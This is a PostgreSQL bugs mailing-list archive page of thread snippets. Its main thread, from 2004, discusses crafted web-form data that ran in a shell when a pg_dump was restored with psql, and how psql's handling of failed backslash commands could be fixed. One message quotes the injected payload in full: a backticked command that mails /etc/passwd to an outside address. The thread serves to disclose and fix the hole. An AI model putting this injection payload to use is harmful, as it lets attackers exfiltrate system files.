Re: [BUGS] syntax error

2006-04-17 Thread Euler Taveira de Oliveira
Roberto Castro wrote: Numa aplicação, de acordo com o btnbotton clicado, a variável ‘opçao’ receberá um valor. No decorrer do processo, de acordo com a ‘opcao’ deverá executar um comando da function onde os valores a serem adicionados (input) serão supridos na aplicação. Envie somente *bugs*

[BUGS] syntax error

2006-04-17 Thread Roberto Castro
  Boa Tarde !! Numa aplicação, de acordo com o btnbotton clicado, a variável ‘opçao’ receberá um valor. No decorrer do processo, de acordo com a ‘opcao’ deverá executar um comando da function onde os valores a serem adicionados (input) serão supridos na aplicação.Só que dá o seguinte erro:ERROR: 

Re: [BUGS] syntax error causes crafted data to be executed in shell

2004-12-17 Thread Tom Lane
Bruce Momjian <[EMAIL PROTECTED]> writes: > So if a backslash command fails we discard the rest of the line? Well, the point is that right now we *don't*. But I'm thinking we should. > How did user data ever get to psql in this way? As I understand the scenario, it's that a 7.3-or-later pg_dump

Re: [BUGS] syntax error causes crafted data to be executed in shell

2004-12-17 Thread Bruce Momjian
Tom Lane wrote: > Bruce Momjian <[EMAIL PROTECTED]> writes: > > Tom, would you show an example of the change in behavior? I didn't > > understand the details. > > In CVS tip: > > regression=# \N `touch wrong1` \i `touch wrong2` > Invalid command \N. Try \? for help. > : No such file or directory

Re: [BUGS] syntax error causes crafted data to be executed in shell

2004-12-17 Thread Tom Lane
Bruce Momjian <[EMAIL PROTECTED]> writes: > Tom, would you show an example of the change in behavior? I didn't > understand the details. In CVS tip: regression=# \N `touch wrong1` \i `touch wrong2` Invalid command \N. Try \? for help. : No such file or directory regression=# Both wrong1 and wro

Re: [BUGS] syntax error causes crafted data to be executed in shell

2004-12-17 Thread Bruce Momjian
Tom Lane wrote: > I wrote: > > Still, it looks like it would be relatively easy to suppress evaluation > > of backticked arguments once we recognize that the backslash command has > > failed, and I would say that that's a reasonable change to make on the > > principle of least surprise. > > On loo

Re: [BUGS] syntax error causes crafted data to be executed in shell

2004-12-17 Thread Thomer M. Gil
> On looking at this further, I wonder if it wouldn't be a good idea for > a failed backslash command to cause the rest of the input line to be > discarded. I think that is reasonable. Thomer ---(end of broadcast)--- TIP 9: the planner will ignore

Re: [BUGS] syntax error causes crafted data to be executed in shell

2004-12-17 Thread Tom Lane
I wrote: > Still, it looks like it would be relatively easy to suppress evaluation > of backticked arguments once we recognize that the backslash command has > failed, and I would say that that's a reasonable change to make on the > principle of least surprise. On looking at this further, I wonder

Re: [BUGS] syntax error causes crafted data to be executed in shell

2004-12-17 Thread Tom Lane
"Thomer M. Gil" <[EMAIL PROTECTED]> writes: > More details and the, in my opinion, somewhat reckless response by one > of the Debian postgresql package maintainers are available at: > http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=285844 The response you're going to get here is not a lot differe

[BUGS] syntax error causes crafted data to be executed in shell

2004-12-17 Thread Thomer M. Gil
Short summary: 1. Someone wrote "`mail [EMAIL PROTECTED] < /etc/passwd`" in a web form; this string was stored in a postgresql database. 2. We ran pg_dump 3. We ran psql (not the same version as pg_dump!) 4. [EMAIL PROTECTED] receives /etc/passwd More details and the,